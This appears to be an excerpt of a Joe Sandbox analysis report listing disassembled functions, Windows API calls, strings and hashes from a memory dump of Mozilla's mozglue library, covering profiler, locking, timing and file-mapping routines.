Part of subcall function 6C5994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5994EE
Part of subcall function 6C5994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C599508

Part of subcall function 6C58CBE8: GetCurrentProcess.KERNEL32(?,6C5531A7), ref: 6C58CBF1
Part of subcall function 6C58CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5531A7), ref: 6C58CBFA

?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C564A68), ref: 6C59DEB8
free.MOZGLUE(00000000,?,6C564A68), ref: 6C59DEFE
?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C59DF38

Strings

[I %d/%d] profiler_set_process_name("%s", "%s"), xrefs: 6C59E00E
[I %d/%d] locked_profiler_stop, xrefs: 6C59DE83
<none>, xrefs: 6C59DFD7

Memory Dump Source

Source File: 00000000.00000002.2482237477.000000006C551000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2482219783.000000006C550000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482321906.000000006C5CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482375242.000000006C5DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482389473.000000006C5E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: CurrentThread$getenv$ExclusiveLockProcessRelease_getpid$AcquireBufferEnterExit@mozilla@@Init_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@ProfilerRegisterTerminate__acrt_iob_func__stdio_common_vfprintffree
String ID: <none>$[I %d/%d] locked_profiler_stop$[I %d/%d] profiler_set_process_name("%s", "%s")
API String ID: 1281939033-809102171
Opcode ID: 53aadaf7c96928e06619c9259fd98a7315c911eff8c71e6439c5a582aeba14c4
Instruction ID: d76d29aaf87ecedf4b336a230e3fcb12ae73fff609ddc835cb3a1aaeb8636416
Opcode Fuzzy Hash: 53aadaf7c96928e06619c9259fd98a7315c911eff8c71e6439c5a582aeba14c4
Instruction Fuzzy Hash: C341E031B01351DBDB109F68CC08BAAB776EB86319F160159E90A97B01DB71BC05CBEE

Function 6C5AD840 Relevance: 21.2, APIs: 14, Instructions: 206threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C5AD85F
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C5AD86C
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C5AD918
GetCurrentThreadId.KERNEL32 ref: 6C5AD93C
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C5AD948
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C5AD970
GetCurrentThreadId.KERNEL32 ref: 6C5AD976
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C5AD982
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C5AD9CF
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C5ADA2E
GetCurrentThreadId.KERNEL32 ref: 6C5ADA6F
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C5ADA78
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE ref: 6C5ADA91

Part of subcall function 6C575C50: GetTickCount64.KERNEL32 ref: 6C575D40
Part of subcall function 6C575C50: EnterCriticalSection.KERNEL32(6C5DF688), ref: 6C575D67

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C5ADAB7

Memory Dump Source

Source File: 00000000.00000002.2482237477.000000006C551000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2482219783.000000006C550000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482321906.000000006C5CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482375242.000000006C5DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482389473.000000006C5E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Count64CriticalEnterSectionStampTickTimeV01@@Value@mozilla@@Xbad_function_call@std@@
String ID:
API String ID: 1195625958-0
Opcode ID: d3f7b8d783253a285142050880b1b4a11225090b94992e3513f7fe784d9f9a0d
Instruction ID: 63be8bf68106fd94a7153416c0c1d997dd157cc1cdb53428eebf17af41533ac7
Opcode Fuzzy Hash: d3f7b8d783253a285142050880b1b4a11225090b94992e3513f7fe784d9f9a0d
Instruction Fuzzy Hash: 18719D75600304DFCB00EF69C888B5EBBB6FF89314F15856DE85A9B311DB30A945CB95

Function 6C5AD4D0 Relevance: 21.2, APIs: 14, Instructions: 165threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C5AD4F0
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C5AD4FC
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C5AD52A
GetCurrentThreadId.KERNEL32 ref: 6C5AD530
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C5AD53F
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C5AD55F
free.MOZGLUE(00000000), ref: 6C5AD585
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C5AD5D3
GetCurrentThreadId.KERNEL32 ref: 6C5AD5F9
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C5AD605
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C5AD652
GetCurrentThreadId.KERNEL32 ref: 6C5AD658
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C5AD667
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C5AD6A2

Memory Dump Source

Source File: 00000000.00000002.2482237477.000000006C551000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2482219783.000000006C550000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482321906.000000006C5CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482375242.000000006C5DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482389473.000000006C5E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Xbad_function_call@std@@free
String ID:
API String ID: 2206442479-0
Opcode ID: cda42b3a018f40786572c76d5f81d6a798d6ea9bd13ee09c1a31312fbd15f89b
Instruction ID: 16369458ae7bb04c9e228fd2acdee6fb2d3c474fe6ebf2a0015f4a134f3edb6c
Opcode Fuzzy Hash: cda42b3a018f40786572c76d5f81d6a798d6ea9bd13ee09c1a31312fbd15f89b
Instruction Fuzzy Hash: F9518B71604705DFC700EF65C888A9ABBF5FF89318F118A2EE84A87711EB30B945CB95

Function 6C551E90 Relevance: 19.6, APIs: 9, Strings: 4, Instructions: 120COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C5DE784), ref: 6C551EC1
LeaveCriticalSection.KERNEL32(6C5DE784), ref: 6C551EE1
EnterCriticalSection.KERNEL32(6C5DE744), ref: 6C551F38
LeaveCriticalSection.KERNEL32(6C5DE744), ref: 6C551F5C
VirtualFree.KERNEL32(?,00100000,00004000), ref: 6C551F83
LeaveCriticalSection.KERNEL32(6C5DE784), ref: 6C551FC0
EnterCriticalSection.KERNEL32(6C5DE784), ref: 6C551FE2
LeaveCriticalSection.KERNEL32(6C5DE784), ref: 6C551FF6
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C552019

Strings

MOZ_CRASH(), xrefs: 6C552000
\]l, xrefs: 6C551F3E
D]l, xrefs: 6C551F32
D]l, xrefs: 6C551F56

Memory Dump Source

Source File: 00000000.00000002.2482237477.000000006C551000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2482219783.000000006C550000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482321906.000000006C5CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482375242.000000006C5DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482389473.000000006C5E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$FreeVirtualmemset
String ID: D]l$D]l$MOZ_CRASH()$\]l
API String ID: 2055633661-2613873827
Opcode ID: 5b67df5734c78e909a3ccf5b598817e07a3d893b4f5fdd6acefc30def9d907bd
Instruction ID: 4d44bda63ff4598e844dde9734838387d1f795b1a77a6d06e5acdfa4752150bd
Opcode Fuzzy Hash: 5b67df5734c78e909a3ccf5b598817e07a3d893b4f5fdd6acefc30def9d907bd
Instruction Fuzzy Hash: 0141D271B013568BDF409FA8CC84B6B7AB5EF4A308F02012AE90497741DBB1B804CBDE

Function 6C575670 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 272timeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_APP_RESTART), ref: 6C5756D1
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C5756E9
?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ.MOZGLUE ref: 6C5756F1
?TicksFromMilliseconds@BaseTimeDurationPlatformUtils@mozilla@@SA_JN@Z.MOZGLUE ref: 6C575744
??0TimeStampValue@mozilla@@AAE@_K0_N@Z.MOZGLUE(?,?,?,?,?), ref: 6C5757BC
GetTickCount64.KERNEL32 ref: 6C5758CB
EnterCriticalSection.KERNEL32(6C5DF688), ref: 6C5758F3
__aulldiv.LIBCMT ref: 6C575945
LeaveCriticalSection.KERNEL32(6C5DF688), ref: 6C5759B2
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(6C5DF638,?,?,?,?), ref: 6C5759E9

Strings

MOZ_APP_RESTART, xrefs: 6C5756CC

Memory Dump Source

Source File: 00000000.00000002.2482237477.000000006C551000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2482219783.000000006C550000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482321906.000000006C5CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482375242.000000006C5DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482389473.000000006C5E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampStamp@mozilla@@Value@mozilla@@$BaseComputeCount64DurationEnterFromLeaveMilliseconds@Now@PlatformProcessTickTicksUptime@Utils@mozilla@@V01@@V12@___aulldivgetenv
String ID: MOZ_APP_RESTART
API String ID: 2752551254-2657566371
Opcode ID: f2143705176d5149e95cbb7853c87eb40b3c61b7d415a6472a84cd4c781e1e95
Instruction ID: 8eda698112b3ca726bfda016a54a1b0f9e9d6118d172607f2048d97a768c65a2
Opcode Fuzzy Hash: f2143705176d5149e95cbb7853c87eb40b3c61b7d415a6472a84cd4c781e1e95
Instruction Fuzzy Hash: ABC17C31A087409FDB15CF28C84066AB7F1FFCA714F568B1DE4C497A60D730A985CB96

Function 6C59EC70 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C599420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C564A68), ref: 6C59945E
Part of subcall function 6C599420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C599470
Part of subcall function 6C599420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C599482
Part of subcall function 6C599420: __Init_thread_footer.LIBCMT ref: 6C59949F

GetCurrentThreadId.KERNEL32 ref: 6C59EC84
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C59EC8C

Part of subcall function 6C5994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5994EE
Part of subcall function 6C5994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C599508

GetCurrentThreadId.KERNEL32 ref: 6C59ECA1
AcquireSRWLockExclusive.KERNEL32(6C5DF4B8), ref: 6C59ECAE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000), ref: 6C59ECC5
ReleaseSRWLockExclusive.KERNEL32(6C5DF4B8), ref: 6C59ED0A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C59ED19
CloseHandle.KERNEL32(?), ref: 6C59ED28
free.MOZGLUE(00000000), ref: 6C59ED2F
ReleaseSRWLockExclusive.KERNEL32(6C5DF4B8), ref: 6C59ED59

Strings

[I %d/%d] profiler_ensure_started, xrefs: 6C59EC94

Memory Dump Source

Source File: 00000000.00000002.2482237477.000000006C551000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2482219783.000000006C550000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482321906.000000006C5CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482375242.000000006C5DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482389473.000000006C5E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: ExclusiveLockgetenv$CurrentReleaseThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] profiler_ensure_started
API String ID: 4057186437-125001283
Opcode ID: 3dd560ad81d3ef1dcf6e58f4a6f09f878561e89f3dd3703dc1cd928c50f94f2a
Instruction ID: 1bf5fbcb07655dd3f23b045641ad441dc32dd179fcf35d77eea7500edcacce29
Opcode Fuzzy Hash: 3dd560ad81d3ef1dcf6e58f4a6f09f878561e89f3dd3703dc1cd928c50f94f2a
Instruction Fuzzy Hash: 4C21D175600344EBDB00AF24DC08A9A777AFB8626EF164354FD1897741DB71AC058BAE

Function 6C598ED0 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 311COMMON

Download Yara Rule

APIs

Part of subcall function 6C55EB30: free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C55EB83

?FormatToStringSpan@MarkerSchema@mozilla@@CA?AV?$Span@$$CBD$0PPPPPPPP@@2@W4Format@12@@Z.MOZGLUE(?,?,00000004,?,?,?,?,?,?,6C59B392,?,?,00000001), ref: 6C5991F4

Part of subcall function 6C58CBE8: GetCurrentProcess.KERNEL32(?,6C5531A7), ref: 6C58CBF1
Part of subcall function 6C58CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5531A7), ref: 6C58CBFA

Strings

timeline-memory, xrefs: 6C599088
timeline-overview, xrefs: 6C59907A
timeline-fileio, xrefs: 6C5990A4
stack-chart, xrefs: 6C5990B2
name, xrefs: 6C598F16
marker-chart, xrefs: 6C59905E
marker-table, xrefs: 6C59906C
data, xrefs: 6C5990E8
timeline-ipc, xrefs: 6C599096

Memory Dump Source

Source File: 00000000.00000002.2482237477.000000006C551000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2482219783.000000006C550000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482321906.000000006C5CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482375242.000000006C5DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482389473.000000006C5E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: Process$CurrentFormatFormat@12@@MarkerP@@2@Schema@mozilla@@Span@Span@$$StringTerminatefree
String ID: data$marker-chart$marker-table$name$stack-chart$timeline-fileio$timeline-ipc$timeline-memory$timeline-overview
API String ID: 3790164461-3347204862
Opcode ID: bbf597b3da1a8b70620bf23bd574e56f058b67defd189dfe7fa46844aea13311
Instruction ID: 2cda3122aad29e7c989db6b801f3c1d903aae52636f101c5f4118c79466c6e92
Opcode Fuzzy Hash: bbf597b3da1a8b70620bf23bd574e56f058b67defd189dfe7fa46844aea13311
Instruction Fuzzy Hash: FEB1AEB0A01249DBDF04CF99CC917AEBBF5AB84318F10451AD406ABF90D771AD55CBD2

Function 6C57C570 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 277stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C57C5A3
WideCharToMultiByte.KERNEL32 ref: 6C57C9EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C57C9FB
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 6C57CA12
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C57CA2E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C57CAA5

Strings

0, xrefs: 6C57D30A
(null), xrefs: 6C57C596

Memory Dump Source

Source File: 00000000.00000002.2482237477.000000006C551000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2482219783.000000006C550000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482321906.000000006C5CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482375242.000000006C5DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482389473.000000006C5E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: ByteCharMultiWidestrlen$freemalloc
String ID: (null)$0
API String ID: 4074790623-38302674
Opcode ID: 2fbae1e53a266a80ac12af364c6e344344e557d3c211c834b09b236c34aeebe6
Instruction ID: eaf74420e1eb218a796533c1d3f0032653dd07920daa29b65e34e3834a88958f
Opcode Fuzzy Hash: 2fbae1e53a266a80ac12af364c6e344344e557d3c211c834b09b236c34aeebe6
Instruction Fuzzy Hash: A6A190306093429FDB20DF28CD8475EBBE1AF89748F05892DE899D7741D731E885CBA2

Function 6C57C769 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 159COMMON

Download Yara Rule

APIs

islower.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C57C784
_dsign.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C57C801
_dtest.API-MS-WIN-CRT-MATH-L1-1-0(?), ref: 6C57C83D
?ToPrecision@DoubleToStringConverter@double_conversion@@QBE_NNHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C57C891

Strings

NAN, xrefs: 6C57C7AD
nan, xrefs: 6C57C7A8
INF, xrefs: 6C57C794
inf, xrefs: 6C57C78F

Memory Dump Source

Source File: 00000000.00000002.2482237477.000000006C551000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2482219783.000000006C550000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482321906.000000006C5CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482375242.000000006C5DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482389473.000000006C5E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@DoublePrecision@_dsign_dtestislower
String ID: INF$NAN$inf$nan
API String ID: 1991403756-4166689840
Opcode ID: 6c63c5b01e407565e1fa65bb203e655dfc6f208eacbd3e9c0485fc150f7a3f83
Instruction ID: 3ae9550b10899b781fb55fedf562029166e7d9661789e31457fd7b4bc7d8a22c
Opcode Fuzzy Hash: 6c63c5b01e407565e1fa65bb203e655dfc6f208eacbd3e9c0485fc150f7a3f83
Instruction Fuzzy Hash: 8B5193709087408BD710EF6CC88169AFBF1BF8A314F418A2DE9D5A7651E770E985CB53

Function 6C553480 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 86librarytimeloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,6C553284,?,?,6C5756F6), ref: 6C553492
GetProcessTimes.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,6C553284,?,?,6C5756F6), ref: 6C5534A9
LoadLibraryW.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,6C553284,?,?,6C5756F6), ref: 6C5534EF
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6C55350E
__Init_thread_footer.LIBCMT ref: 6C553522
__aulldiv.LIBCMT ref: 6C553552
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,6C553284,?,?,6C5756F6), ref: 6C55357C
GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,6C553284,?,?,6C5756F6), ref: 6C553592

Part of subcall function 6C58AB89: EnterCriticalSection.KERNEL32(6C5DE370,?,?,?,6C5534DE,6C5DF6CC,?,?,?,?,?,?,?,6C553284), ref: 6C58AB94
Part of subcall function 6C58AB89: LeaveCriticalSection.KERNEL32(6C5DE370,?,6C5534DE,6C5DF6CC,?,?,?,?,?,?,?,6C553284,?,?,6C5756F6), ref: 6C58ABD1

Strings

GetSystemTimePreciseAsFileTime, xrefs: 6C553508
kernel32.dll, xrefs: 6C5534EA

Memory Dump Source

Source File: 00000000.00000002.2482237477.000000006C551000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2482219783.000000006C550000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482321906.000000006C5CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482375242.000000006C5DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482389473.000000006C5E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: CriticalLibraryProcessSectionTime$AddressCurrentEnterFileFreeInit_thread_footerLeaveLoadProcSystemTimes__aulldiv
String ID: GetSystemTimePreciseAsFileTime$kernel32.dll
API String ID: 3634367004-706389432
Opcode ID: d4bf42d68dca08d4940a864f916a52b89c41ce1be1ec47d6b413f92ef3aa6dd3
Instruction ID: 1eb4bebbda62883b8248def900ec862fda9123e533f847d105c6f9109e443a36
Opcode Fuzzy Hash: d4bf42d68dca08d4940a864f916a52b89c41ce1be1ec47d6b413f92ef3aa6dd3
Instruction Fuzzy Hash: 6431B371B013069BDF00DFB9CC48AAA7BB5FB85309F12451AF505E3A50EB70B904CB68

Function 6C554480 Relevance: 16.8, APIs: 11, Instructions: 316COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(B60B60B8,?,?,?,?,6C594843,?), ref: 6C5545F5
free.MOZGLUE(?,?,?,?,?,?,?,?,6C594843,?), ref: 6C55468A
free.MOZGLUE(?,?,?,?,?,?,6C594843,?), ref: 6C5546C9
free.MOZGLUE(?), ref: 6C5546EF
free.MOZGLUE(?), ref: 6C554712
free.MOZGLUE(?), ref: 6C554735
free.MOZGLUE(?), ref: 6C554758
free.MOZGLUE(?), ref: 6C55477B
free.MOZGLUE(?), ref: 6C55479E

Memory Dump Source

Source File: 00000000.00000002.2482237477.000000006C551000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2482219783.000000006C550000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482321906.000000006C5CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482375242.000000006C5DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482389473.000000006C5E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: free$moz_xmalloc
String ID:
API String ID: 3009372454-0
Opcode ID: 37ad1e2a8d88a8f297d4f50cc833312e729e63acbe880706d785f2401b285467
Instruction ID: cd43ed56d6610297ce4c2eba76e46b4a9b2efa0d3724936e2081957222a8f67a
Opcode Fuzzy Hash: 37ad1e2a8d88a8f297d4f50cc833312e729e63acbe880706d785f2401b285467
Instruction Fuzzy Hash: 03B1F471A001508FDB18CE3CCC9476D77A2AF81328F98466AE816DFBD6E7309C748B91

Function 6C5BAC20 Relevance: 16.6, APIs: 11, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 6C5BAC52
CreateFileMappingW.KERNEL32 ref: 6C5BAC7D
GetSystemInfo.KERNEL32 ref: 6C5BAC98
MapViewOfFile.KERNEL32 ref: 6C5BACB0
GetSystemInfo.KERNEL32 ref: 6C5BACCD
MapViewOfFile.KERNEL32 ref: 6C5BAD05
UnmapViewOfFile.KERNEL32 ref: 6C5BAD1C
CloseHandle.KERNEL32 ref: 6C5BAD28
UnmapViewOfFile.KERNEL32 ref: 6C5BAD37
CloseHandle.KERNEL32 ref: 6C5BAD43
CloseHandle.KERNEL32 ref: 6C5BAD67

Memory Dump Source

Source File: 00000000.00000002.2482237477.000000006C551000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2482219783.000000006C550000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482321906.000000006C5CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482375242.000000006C5DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482389473.000000006C5E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: File$View$CloseHandle$CreateInfoSystemUnmap$Mapping
String ID:
API String ID: 1192971331-0
Opcode ID: 47be68efdac4c5727605e2265906a25d2b61bbadaf74c570c08227c11e229e5b
Instruction ID: e9f2e49f9f4b1e4cd2d5213f3a6445745123ce84b8de19da546030e0168fdf69
Opcode Fuzzy Hash: 47be68efdac4c5727605e2265906a25d2b61bbadaf74c570c08227c11e229e5b
Instruction Fuzzy Hash: 2B314FB19047058FDB00BF7CDA4926EBBF1FF85705F024A2DE98597251EB70A588CB86

Function 6C569620 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 103libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C569675
__Init_thread_footer.LIBCMT ref: 6C569697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C5696E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C569707
__Init_thread_footer.LIBCMT ref: 6C56971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C569773

Part of subcall function 6C58AB89: EnterCriticalSection.KERNEL32(6C5DE370,?,?,?,6C5534DE,6C5DF6CC,?,?,?,?,?,?,?,6C553284), ref: 6C58AB94
Part of subcall function 6C58AB89: LeaveCriticalSection.KERNEL32(6C5DE370,?,6C5534DE,6C5DF6CC,?,?,?,?,?,?,?,6C553284,?,?,6C5756F6), ref: 6C58ABD1

GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C5697B7
FreeLibrary.KERNEL32 ref: 6C5697D0
FreeLibrary.KERNEL32 ref: 6C5697EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C569824

Strings

Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C569670
NtMapViewOfSection, xrefs: 6C569701
MapViewOfFileNuma2, xrefs: 6C5697B1
ntdll.dll, xrefs: 6C5696E3

Memory Dump Source

Source File: 00000000.00000002.2482237477.000000006C551000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2482219783.000000006C550000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482321906.000000006C5CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482375242.000000006C5DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482389473.000000006C5E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

